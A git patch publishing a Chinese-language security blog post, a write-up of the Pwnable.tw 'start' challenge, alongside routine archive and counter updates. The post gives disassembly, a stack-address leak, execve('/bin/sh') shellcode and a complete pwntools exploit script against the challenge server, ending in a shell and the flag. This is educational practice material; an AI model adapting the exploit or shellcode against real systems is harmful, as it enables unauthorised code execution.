From 25537888e2a73f7727727d2496c7200163d415de Mon Sep 17 00:00:00 2001 From: Cool-Y <1072916769@qq.com> Date: Fri, 25 Oct 2019 21:13:53 +0800 Subject: [PATCH] Site updated: 2019-10-25 21:13:36 --- 2000/01/01/hello-world/index.html | 6 +- 2018/12/15/miio-control/index.html | 6 +- 2018/12/23/基于规则引擎发现IOT设备/index.html | 6 +- 2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html | 6 +- .../wifi半双工侧信道攻击学习笔记/index.html | 6 +- 2019/02/22/qq数据库的加密解密/index.html | 6 +- 2019/03/16/小米固件工具mkxqimage/index.html | 6 +- 2019/03/23/auto-send-WX/index.html | 6 +- 2019/03/25/Samba-CVE/index.html | 6 +- 2019/03/28/逆向工程实验/index.html | 6 +- 2019/04/15/Caving-db-storage/index.html | 6 +- 2019/04/21/XIAOMI-UPnP/index.html | 6 +- 2019/05/13/PE-file/index.html | 6 +- 2019/05/14/pack-and-unpack/index.html | 6 +- 2019/07/01/AFL-first-learn/index.html | 6 +- 2019/07/09/afl-first-try/index.html | 6 +- 2019/07/10/x86basic/index.html | 6 +- 2019/07/16/linux-pwn-32/index.html | 6 +- 2019/07/24/web-dvwa/index.html | 6 +- 2019/07/24/获取固件/index.html | 6 +- 2019/07/25/Debug-a-router-firmware/index.html | 10 +- 2019/10/25/PWNtw-start/index.html | 1531 +++++++++++++++++ about/index.html | 6 +- archives/2000/01/index.html | 8 +- archives/2000/index.html | 8 +- archives/2018/12/index.html | 8 +- archives/2018/index.html | 8 +- archives/2019/01/index.html | 8 +- archives/2019/02/index.html | 8 +- archives/2019/03/index.html | 8 +- archives/2019/04/index.html | 8 +- archives/2019/05/index.html | 8 +- archives/2019/07/index.html | 8 +- archives/2019/10/index.html | 1163 +++++++++++++ archives/2019/index.html | 78 +- archives/2019/page/2/index.html | 43 +- archives/index.html | 78 +- archives/page/2/index.html | 78 +- archives/page/3/index.html | 48 +- baidu_urls.txt | 4 +- baidusitemap.xml | 3 + bookmarks/index.html | 6 +- categories/IOT/index.html | 6 +- categories/Pwn/index.html | 32 +- categories/index.html | 8 +- categories/web/index.html | 6 +- categories/二进制/index.html | 6 +- categories/加密解密/index.html | 6 +- categories/杂七杂八/index.html | 6 +- categories/顶会论文/index.html | 6 +- hack之外/index.html | 6 +- index.html | 381 ++-- page/2/index.html | 381 ++-- page/3/index.html | 193 ++- search.xml | 13 + sitemap.xml | 7 + tags/AFL/index.html | 6 +- tags/CVE/index.html | 6 +- tags/IoT/index.html | 6 +- tags/MiniUPnP/index.html | 6 +- tags/PE/index.html | 6 +- tags/QQ/index.html | 6 +- tags/SSH/index.html | 6 +- tags/Samba/index.html | 6 +- tags/TCPDUMP/index.html | 6 +- tags/USENIX/index.html | 6 +- tags/Windows/index.html | 6 +- tags/ctf/index.html | 22 +- tags/index.html | 10 +- tags/itchat/index.html | 6 +- tags/linux/index.html | 24 +- tags/miio/index.html | 6 +- tags/pwn/index.html | 6 +- tags/web/index.html | 6 +- tags/wifi/index.html | 6 +- tags/中间人/index.html | 6 +- tags/二进制/index.html | 32 +- tags/侧信道攻击/index.html | 6 +- tags/取证/index.html | 6 +- tags/复原文件/index.html | 6 +- tags/密码/index.html | 6 +- tags/小米/index.html | 6 +- tags/微信/index.html | 6 +- tags/拒绝服务攻击/index.html | 6 +- tags/数据库/index.html | 6 +- tags/数据挖掘/index.html | 6 +- tags/文件格式/index.html | 6 +- tags/栈溢出/index.html | 6 +- tags/模糊测试/index.html | 6 +- tags/漏洞/index.html | 6 +- tags/破解/index.html | 6 +- tags/硬件层/index.html | 6 +- tags/自然语言处理/index.html | 6 +- tags/调试/index.html | 6 +- tags/路由器/index.html | 6 +- tags/远程执行/index.html | 6 +- tags/逆向/index.html | 6 +- tags/重放攻击/index.html | 6 +- 98 files changed, 3829 insertions(+), 792 deletions(-) create mode 100644 2019/10/25/PWNtw-start/index.html create mode 100644 archives/2019/10/index.html diff --git a/2000/01/01/hello-world/index.html b/2000/01/01/hello-world/index.html index a70edf02..dee31f8d 100644 --- a/2000/01/01/hello-world/index.html +++ b/2000/01/01/hello-world/index.html @@ -558,7 +558,7 @@ - 21 + 22 日志 @@ -580,7 +580,7 @@
- 41 + 43 标签
@@ -656,7 +656,7 @@ - 65.9k + 67.4k diff --git a/2018/12/15/miio-control/index.html b/2018/12/15/miio-control/index.html index b3ae00dc..65886bc6 100644 --- a/2018/12/15/miio-control/index.html +++ b/2018/12/15/miio-control/index.html @@ -632,7 +632,7 @@ - 21 + 22 日志 @@ -654,7 +654,7 @@
- 41 + 43 标签
@@ -746,7 +746,7 @@ - 65.9k + 67.4k diff --git a/2018/12/23/基于规则引擎发现IOT设备/index.html b/2018/12/23/基于规则引擎发现IOT设备/index.html index 460b47db..50d90838 100644 --- a/2018/12/23/基于规则引擎发现IOT设备/index.html +++ b/2018/12/23/基于规则引擎发现IOT设备/index.html @@ -632,7 +632,7 @@ - 21 + 22 日志 @@ -654,7 +654,7 @@
- 41 + 43 标签
@@ -746,7 +746,7 @@ - 65.9k + 67.4k diff --git a/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html b/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html index 0a6aa75d..a19b31eb 100644 --- a/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html +++ b/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html @@ -637,7 +637,7 @@ - 21 + 22 日志 @@ -659,7 +659,7 @@
- 41 + 43 标签
@@ -751,7 +751,7 @@ - 65.9k + 67.4k diff --git a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html index 94a2428b..8a9cb5fb 100644 --- a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html +++ b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html @@ -760,7 +760,7 @@ Server -------wire----------| - 21 + 22 日志 @@ -782,7 +782,7 @@ Server -------wire----------|
- 41 + 43 标签
@@ -874,7 +874,7 @@ Server -------wire----------| - 65.9k + 67.4k diff --git a/2019/02/22/qq数据库的加密解密/index.html b/2019/02/22/qq数据库的加密解密/index.html index f0b3b4cb..3efb8f60 100644 --- a/2019/02/22/qq数据库的加密解密/index.html +++ b/2019/02/22/qq数据库的加密解密/index.html @@ -609,7 +609,7 @@ - 21 + 22 日志 @@ -631,7 +631,7 @@
- 41 + 43 标签
@@ -723,7 +723,7 @@ - 65.9k + 67.4k diff --git a/2019/03/16/小米固件工具mkxqimage/index.html b/2019/03/16/小米固件工具mkxqimage/index.html index a85df4d0..d1a9d812 100644 --- a/2019/03/16/小米固件工具mkxqimage/index.html +++ b/2019/03/16/小米固件工具mkxqimage/index.html @@ -618,7 +618,7 @@ - 21 + 22 日志 @@ -640,7 +640,7 @@
- 41 + 43 标签
@@ -732,7 +732,7 @@ - 65.9k + 67.4k diff --git a/2019/03/23/auto-send-WX/index.html b/2019/03/23/auto-send-WX/index.html index 106b79a5..26cd3fce 100644 --- a/2019/03/23/auto-send-WX/index.html +++ b/2019/03/23/auto-send-WX/index.html @@ -626,7 +626,7 @@ - 21 + 22 日志 @@ -648,7 +648,7 @@
- 41 + 43 标签
@@ -740,7 +740,7 @@ - 65.9k + 67.4k diff --git a/2019/03/25/Samba-CVE/index.html b/2019/03/25/Samba-CVE/index.html index 3a5fde66..92141a22 100644 --- a/2019/03/25/Samba-CVE/index.html +++ b/2019/03/25/Samba-CVE/index.html @@ -654,7 +654,7 @@ - 21 + 22 日志 @@ -676,7 +676,7 @@
- 41 + 43 标签
@@ -768,7 +768,7 @@ - 65.9k + 67.4k diff --git a/2019/03/28/逆向工程实验/index.html b/2019/03/28/逆向工程实验/index.html index 7dda3f52..f860e181 100644 --- a/2019/03/28/逆向工程实验/index.html +++ b/2019/03/28/逆向工程实验/index.html @@ -754,7 +754,7 @@ - 21 + 22 日志 @@ -776,7 +776,7 @@
- 41 + 43 标签
@@ -868,7 +868,7 @@ - 65.9k + 67.4k diff --git a/2019/04/15/Caving-db-storage/index.html b/2019/04/15/Caving-db-storage/index.html index 5651c45d..f0cf5e83 100644 --- a/2019/04/15/Caving-db-storage/index.html +++ b/2019/04/15/Caving-db-storage/index.html @@ -675,7 +675,7 @@ - 21 + 22 日志 @@ -697,7 +697,7 @@
- 41 + 43 标签
@@ -789,7 +789,7 @@ - 65.9k + 67.4k diff --git a/2019/04/21/XIAOMI-UPnP/index.html b/2019/04/21/XIAOMI-UPnP/index.html index c18049be..d983e770 100644 --- a/2019/04/21/XIAOMI-UPnP/index.html +++ b/2019/04/21/XIAOMI-UPnP/index.html @@ -799,7 +799,7 @@ - 21 + 22 日志 @@ -821,7 +821,7 @@
- 41 + 43 标签
@@ -913,7 +913,7 @@ - 65.9k + 67.4k diff --git a/2019/05/13/PE-file/index.html b/2019/05/13/PE-file/index.html index c90f1d0a..40a57560 100644 --- a/2019/05/13/PE-file/index.html +++ b/2019/05/13/PE-file/index.html @@ -718,7 +718,7 @@ - 21 + 22 日志 @@ -740,7 +740,7 @@
- 41 + 43 标签
@@ -832,7 +832,7 @@ - 65.9k + 67.4k diff --git a/2019/05/14/pack-and-unpack/index.html b/2019/05/14/pack-and-unpack/index.html index 5307bda5..fff91a41 100644 --- a/2019/05/14/pack-and-unpack/index.html +++ b/2019/05/14/pack-and-unpack/index.html @@ -640,7 +640,7 @@ - 21 + 22 日志 @@ -662,7 +662,7 @@
- 41 + 43 标签
@@ -754,7 +754,7 @@ - 65.9k + 67.4k diff --git a/2019/07/01/AFL-first-learn/index.html b/2019/07/01/AFL-first-learn/index.html index 11320573..d4aabdf4 100644 --- a/2019/07/01/AFL-first-learn/index.html +++ b/2019/07/01/AFL-first-learn/index.html @@ -913,7 +913,7 @@ - 21 + 22 日志 @@ -935,7 +935,7 @@
- 41 + 43 标签
@@ -1027,7 +1027,7 @@ - 65.9k + 67.4k diff --git a/2019/07/09/afl-first-try/index.html b/2019/07/09/afl-first-try/index.html index 78a25f0b..4b899761 100644 --- a/2019/07/09/afl-first-try/index.html +++ b/2019/07/09/afl-first-try/index.html @@ -703,7 +703,7 @@ - 21 + 22 日志 @@ -725,7 +725,7 @@
- 41 + 43 标签
@@ -817,7 +817,7 @@ - 65.9k + 67.4k diff --git a/2019/07/10/x86basic/index.html b/2019/07/10/x86basic/index.html index caa85100..790fbf44 100644 --- a/2019/07/10/x86basic/index.html +++ b/2019/07/10/x86basic/index.html @@ -735,7 +735,7 @@ - 21 + 22 日志 @@ -757,7 +757,7 @@
- 41 + 43 标签
@@ -849,7 +849,7 @@ - 65.9k + 67.4k diff --git a/2019/07/16/linux-pwn-32/index.html b/2019/07/16/linux-pwn-32/index.html index 2aff8eb8..955c2543 100644 --- a/2019/07/16/linux-pwn-32/index.html +++ b/2019/07/16/linux-pwn-32/index.html @@ -718,7 +718,7 @@ - 21 + 22 日志 @@ -740,7 +740,7 @@
- 41 + 43 标签
@@ -832,7 +832,7 @@ - 65.9k + 67.4k diff --git a/2019/07/24/web-dvwa/index.html b/2019/07/24/web-dvwa/index.html index 6f664832..bf439bfa 100644 --- a/2019/07/24/web-dvwa/index.html +++ b/2019/07/24/web-dvwa/index.html @@ -731,7 +731,7 @@ - 21 + 22 日志 @@ -753,7 +753,7 @@
- 41 + 43 标签
@@ -845,7 +845,7 @@ - 65.9k + 67.4k diff --git a/2019/07/24/获取固件/index.html b/2019/07/24/获取固件/index.html index 041f0a55..daae23b3 100644 --- a/2019/07/24/获取固件/index.html +++ b/2019/07/24/获取固件/index.html @@ -614,7 +614,7 @@ - 21 + 22 日志 @@ -636,7 +636,7 @@
- 41 + 43 标签
@@ -728,7 +728,7 @@ - 65.9k + 67.4k diff --git a/2019/07/25/Debug-a-router-firmware/index.html b/2019/07/25/Debug-a-router-firmware/index.html index 29a36f74..f28317d4 100644 --- a/2019/07/25/Debug-a-router-firmware/index.html +++ b/2019/07/25/Debug-a-router-firmware/index.html @@ -574,6 +574,10 @@
+ +
@@ -658,7 +662,7 @@ - 21 + 22 日志 @@ -680,7 +684,7 @@
- 41 + 43 标签
@@ -772,7 +776,7 @@ - 65.9k + 67.4k diff --git a/2019/10/25/PWNtw-start/index.html b/2019/10/25/PWNtw-start/index.html new file mode 100644 index 00000000..118723cc --- /dev/null +++ b/2019/10/25/PWNtw-start/index.html @@ -0,0 +1,1531 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 【Pwnable.tw】start | 混元霹雳手 + + + + + + + + + + + + + + + + + + +
+
+ + + +
+
+
+
+ + +
+ + + + + + + + +
+ + + +
+ + + + + + + +
+ + + +

【Pwnable.tw】start

+ + +
+ + + + + + + 发表于 + + + + + + + + + + + + + | + + + + + + 分类于 + + + + + + + + + + + + + + + + + + + + | + + + + + 阅读次数: + + + + + + + + +
+ + + + + + + + 1.5k 字 + + + + + | + + + + + + + + + 7 分钟 + + +
+ + + + +
+
+ + + + + +
+ + + + + +

Pwnable.tw start

程序链接：https://pwnable.tw/static/chall/start

+

0x01 检查保护情况

不得不说，checksec这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。
最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上就可以了！

+
1
2
3
4
5
6
$ checksec  ./start
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
+

RELRO(Relocation Read Only)：尽量使存储区域只读

+

0x02 漏洞分析

用IDA逆向分析，汇编代码

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
保存现场环境esp、_exit
.text:08048060                 push    esp
.text:08048061                 push    offset _exit

清空寄存器EAX EBX ECX EDX
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx

向栈上压入参数
.text:0804806E                 push    3A465443h    CTF:
.text:08048073                 push    20656874h    the
.text:08048078                 push    20747261h    art
.text:0804807D                 push    74732073h    s st
.text:08048082                 push    2774654Ch    Let’

系统调用80h
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write

系统调用80h
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -

恢复栈平衡，返回到_exit
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed
+

INT 80h 系统调用方法

系统调用的过程可以总结如下：
1． 执行用户程序(如:fork)
2． 根据glibc中的函数实现，取得系统调用号并执行int $0x80产生中断。
3． 进行地址空间的转换和堆栈的切换，执行SAVE_ALL。（进行内核模式）
4． 进行中断处理，根据系统调用表调用内核函数。
5． 执行内核函数。
6． 执行RESTORE_ALL并返回用户模式
Linux 32位的系统调用时通过int 80h来实现的，eax寄存器中为调用的功能号，ebx、ecx、edx、esi等等寄存器则依次为参数。

+

关于系统调用的功能号：

+
1
2
3
4
5
6
7
8
9
10
11
#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_read                 3
#define __NR_write                4
#define __NR_open                 5
#define __NR_close                6
#define __NR_waitpid              7
#define __NR_creat                8
#define __NR_link                 9
#define __NR_unlink              10
#define __NR_execve              11
+

第一个系统调用：
将esp开始的14h字节数据写入标准输出（文件描述符1），即输出”Let’s start the CTF:“

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
nameeaxebxecxedx
sys_write0x04unsigned int fd = 1const char __user *buf = espsize_t count =14h
—————
+

第二个系统调用：
从标准输入读取3ch字节到栈空间

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
nameeaxebxecxedx
sys_read0x03unsigned int fd = 1char __user *buf = espsize_t count = 3ch
—————
+

栈变化情况

    +
  1. 程序执行到0804808F：sys_write
    2. +
+

输出14h字节数据：Let’s start the CTF:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    +-----------------+      <----
    |       Let’      |         |     
    +-----------------+         |
    |       s st      |         |
    +-----------------+         |
    |       art       |        14h
    +-----------------+         |
    |       the       |         |
    +-----------------+         |
    |       CTF:      |         |
    +-----------------+      <-----
    |   offset _exit  |
    +-----------------+
    |    Saved ESP    |
H-> +-----------------+
+
    +
  1. 08048097: sys_read
    2. +
+

read函数最多可以读取3ch字节，超出了分配的空间，可以用来覆盖ret_addr和esp。经调试验证，20字节后覆盖ret，24字节后覆盖esp。

+
1
2
3
4
5
6
7
8
9
gdb-peda$ pattern search
Registers contain pattern buffer:
EIP+0 found at offset: 20
Registers point to pattern buffer:
[ECX] --> offset 0 - size ~32
[ESP] --> offset 24 - size ~8
Pattern buffer found at:
0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])
Reference to pattern buffer not found in memory
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    +-----------------+      <----
    |       aaaa      |         |     
    +-----------------+         |
    |       aaaa      |         |
    +-----------------+         |
    |       aaaa      |        14h
    +-----------------+         |
    |       aaaa      |         |
    +-----------------+         |
    |       aaaa      |         |
    +-----------------+      <-----
    |       aaaa      |
    +-----------------+
    |    Saved ESP    |
H-> +-----------------+
+

0x03 漏洞利用

利用思路

现在EIP已经在我们的掌控之中了，关键是如何跳转到布置的shell code中。一般来说，首先会去找JMP ESP指令，这样就能让shellcode获得执行。但这段汇编代码没有，可以利用的只有read和write。如果可以write出Saved ESP的地址，然后覆盖掉offset _exit，就能成功shell。

+
    +
  1. 泄露Saved ESP
    2. +
+
1
2
3
4
start = p.recvuntil(':')  //等待write执行完毕
payload = 'a'*0x14 + p32(0x08048087)   //发送溢出数据，覆盖ret为0x08048087->输出14h字节
p.send(payload)
data = p.recv()    //接收输出数据，其中就有Saved ESP
+

debug过程：

+
1
2
3
4
5
6
7
8
9
10
[DEBUG] Received 0x14 bytes:
    "Let's start the CTF:"
[DEBUG] Sent 0x18 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  87 80 04 08                            │aaaa│····││
    00000018
[DEBUG] Received 0x14 bytes:
    00000000  **20 53 81**** ff**  01 00 00 00  58 6d 81 ff  00 00 00 00  │ S··│····│Xm··│····│
    00000010  60 6d 81 ff                                         │`m··││
    00000014
+
    +
  1. 覆盖RET
    2. +
+

此时程序已经泄露出之前的Saved_esp，栈的情况已经摸清了，然后程序继续执行read，注意read完 add esp, 14h后再ret，因此，ret_addr在esp+14h的地方。

+
1
2
3
payload = 'a'*0x14 + p32(saved_esp + 20) + shellcode
print p32(saved_esp)
p.send(payload)
+
    +
  1. shellcode
    2. +
+

shellcode同样可以用系统调用的方式执行execve(“/bin/sh”,NULL,NULL)

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
nameeaxebxecxedxesi
sys_execve0x0bchar __user *char user *user *char user *user *struct pt_regs
——————
+

其中，该程序是 32 位，所以我们需要使得

+
    +
  • 系统调用号，即 eax 应该为 0xb
    • +
  • 第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
    • +
  • 第二个参数，即 ecx 应该为 0
    • +
  • 第三个参数，即 edx 应该为 0
    • +
+
1
2
3
4
5
6
7
8
9
xor eax,eax     //清空eax
push eax        //0入栈，当作字符/bin/sh结尾
push '/sh'
push '/bin'     //'/sh'为3字节，未对齐' ->'/sh\0'或//sh
mov ebx, esp    //指向/bin/sh地址
xor ecx,ecx
xor edx,edx
mov al, 0xb     //系统调用号
int 80
+
1
2
3
4
5
6
7
8
9
10
shellcode='''
xor eax,eax
push eax
push %s
push %s
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al, 0xb
int 0x80''' %(u32('/sh\0'),u32('/bin'))
+

使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统，如context(arch = ‘amd64’ , os = ‘linux’, log_level=”debug”)

+

Catch THE FLAG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from binascii import *

shellcode='''
xor eax,eax
push eax
push %s
push %s
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al, 0xb
int 0x80''' %(u32('/sh\0'),u32('/bin'))

def dbg():
    p = process('./start')
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    context.log_level = 'debug'
    gdb.attach(proc.pidof(p)[0])
    pause()
    return p

def leak_esp(p):
    start = p.recvuntil(':')
    payload = 'a'*0x14 + p32(0x08048087)
    p.send(payload)
    saved_esp = p.recv()[:4]
    return u32(saved_esp)

def pwn(p,saved_esp):
    payload = 'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)
    p.send(payload)
    p.interactive()

if __name__ == '__main__':
    # p = dbg()
    # p = process("./start")
    p = remote("chall.pwnable.tw",10000)
    saved_esp = leak_esp(p)
    print "leak saved_esp: %s" %hex(saved_esp+20)
    pwn(p,saved_esp)
+
1
2
3
4
5
6
7
8
9
10
$ python ./start.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
leak saved_esp: 0xffb43704
[*] Switching to interactive mode
$ whoami
start
$ find -name flag
./home/start/flag
$ cat ./home/start/flag
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
+

##

+

REF

Linux 系统调用

+

pwntools使用
http://brieflyx.me/2015/python-module/pwntools-intro/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/

+ + +
+ + + + + + + +
+
+
您的支持将鼓励我继续创作！
+ + +
+ +
+ + + + + +
+ + + +
+ + + +
+ +
+
+ + +
+ + + + + + +
+ +
+ +
+ + + + + +
+ + + +
+
+ + + +
+
+ + + + + +
+
+ + + + +
+ + +
+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/about/index.html b/about/index.html index 359ebeda..45e8aa60 100644 --- a/about/index.html +++ b/about/index.html @@ -377,7 +377,7 @@ - 21 + 22 日志 @@ -399,7 +399,7 @@
- 41 + 43 标签
@@ -475,7 +475,7 @@ - 65.9k + 67.4k diff --git a/archives/2000/01/index.html b/archives/2000/01/index.html index 539e13ee..e1747f47 100644 --- a/archives/2000/01/index.html +++ b/archives/2000/01/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -410,7 +410,7 @@ - 21 + 22 日志 @@ -432,7 +432,7 @@
- 41 + 43 标签
@@ -508,7 +508,7 @@ - 65.9k + 67.4k diff --git a/archives/2000/index.html b/archives/2000/index.html index 7f386a4d..080d1bb3 100644 --- a/archives/2000/index.html +++ b/archives/2000/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -410,7 +410,7 @@ - 21 + 22 日志 @@ -432,7 +432,7 @@
- 41 + 43 标签
@@ -508,7 +508,7 @@ - 65.9k + 67.4k diff --git a/archives/2018/12/index.html b/archives/2018/12/index.html index 9749f434..f617b067 100644 --- a/archives/2018/12/index.html +++ b/archives/2018/12/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -480,7 +480,7 @@ - 21 + 22 日志 @@ -502,7 +502,7 @@
- 41 + 43 标签
@@ -578,7 +578,7 @@ - 65.9k + 67.4k diff --git a/archives/2018/index.html b/archives/2018/index.html index d6150c79..13786060 100644 --- a/archives/2018/index.html +++ b/archives/2018/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -480,7 +480,7 @@ - 21 + 22 日志 @@ -502,7 +502,7 @@
- 41 + 43 标签
@@ -578,7 +578,7 @@ - 65.9k + 67.4k diff --git a/archives/2019/01/index.html b/archives/2019/01/index.html index 654b84c8..3493ca06 100644 --- a/archives/2019/01/index.html +++ b/archives/2019/01/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -410,7 +410,7 @@ - 21 + 22 日志 @@ -432,7 +432,7 @@
- 41 + 43 标签
@@ -508,7 +508,7 @@ - 65.9k + 67.4k diff --git a/archives/2019/02/index.html b/archives/2019/02/index.html index 027297cc..f03b507d 100644 --- a/archives/2019/02/index.html +++ b/archives/2019/02/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -410,7 +410,7 @@ - 21 + 22 日志 @@ -432,7 +432,7 @@
- 41 + 43 标签
@@ -508,7 +508,7 @@ - 65.9k + 67.4k diff --git a/archives/2019/03/index.html b/archives/2019/03/index.html index f1afbfc4..294f62a1 100644 --- a/archives/2019/03/index.html +++ b/archives/2019/03/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -515,7 +515,7 @@ - 21 + 22 日志 @@ -537,7 +537,7 @@
- 41 + 43 标签
@@ -613,7 +613,7 @@ - 65.9k + 67.4k diff --git a/archives/2019/04/index.html b/archives/2019/04/index.html index 1e4e2f6b..575bfb4d 100644 --- a/archives/2019/04/index.html +++ b/archives/2019/04/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -445,7 +445,7 @@ - 21 + 22 日志 @@ -467,7 +467,7 @@
- 41 + 43 标签
@@ -543,7 +543,7 @@ - 65.9k + 67.4k diff --git a/archives/2019/05/index.html b/archives/2019/05/index.html index dea6af7a..695a0796 100644 --- a/archives/2019/05/index.html +++ b/archives/2019/05/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -445,7 +445,7 @@ - 21 + 22 日志 @@ -467,7 +467,7 @@
- 41 + 43 标签
@@ -543,7 +543,7 @@ - 65.9k + 67.4k diff --git a/archives/2019/07/index.html b/archives/2019/07/index.html index 1f30d3a9..2b46a6c9 100644 --- a/archives/2019/07/index.html +++ b/archives/2019/07/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -620,7 +620,7 @@ - 21 + 22 日志 @@ -642,7 +642,7 @@
- 41 + 43 标签
@@ -718,7 +718,7 @@ - 65.9k + 67.4k diff --git a/archives/2019/10/index.html b/archives/2019/10/index.html new file mode 100644 index 00000000..52af9d70 --- /dev/null +++ b/archives/2019/10/index.html @@ -0,0 +1,1163 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 归档 | 混元霹雳手 + + + + + + + + + + + + + + + + + + +
+
+ + + +
+
+
+
+ + + + + +
+
+ + + + + + + + + 嗯..! 目前共计 22 篇日志。 继续努力。 + + + + + + + + + + +
+

2019

+
+ + + + + + + + + + + +
+
+ + + + + + + + +
+ + + + + +
+ + + +
+
+ + + +
+
+ + + + + +
+
+ + + + +
+ + +
+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/archives/2019/index.html b/archives/2019/index.html index e3ca489d..2b02c370 100644 --- a/archives/2019/index.html +++ b/archives/2019/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -331,6 +331,41 @@ +
+
+ +

+ + + +

+ +
+ +
+ +
+
+ + + + + + + + + + + + + +
@@ -637,41 +672,6 @@ - - - - - - - - - - - - - - - @@ -729,7 +729,7 @@ - 21 + 22 日志 @@ -751,7 +751,7 @@
- 41 + 43 标签
@@ -827,7 +827,7 @@ - 65.9k + 67.4k diff --git a/archives/2019/page/2/index.html b/archives/2019/page/2/index.html index 1ccbab93..c864551b 100644 --- a/archives/2019/page/2/index.html +++ b/archives/2019/page/2/index.html @@ -312,7 +312,7 @@ - 嗯..! 目前共计 21 篇日志。 继续努力。 + 嗯..! 目前共计 22 篇日志。 继续努力。 @@ -331,6 +331,41 @@ + + + + + + + + + + + + + + +
@@ -624,7 +659,7 @@ - 21 + 22 日志 @@ -646,7 +681,7 @@
- 41 + 43 标签
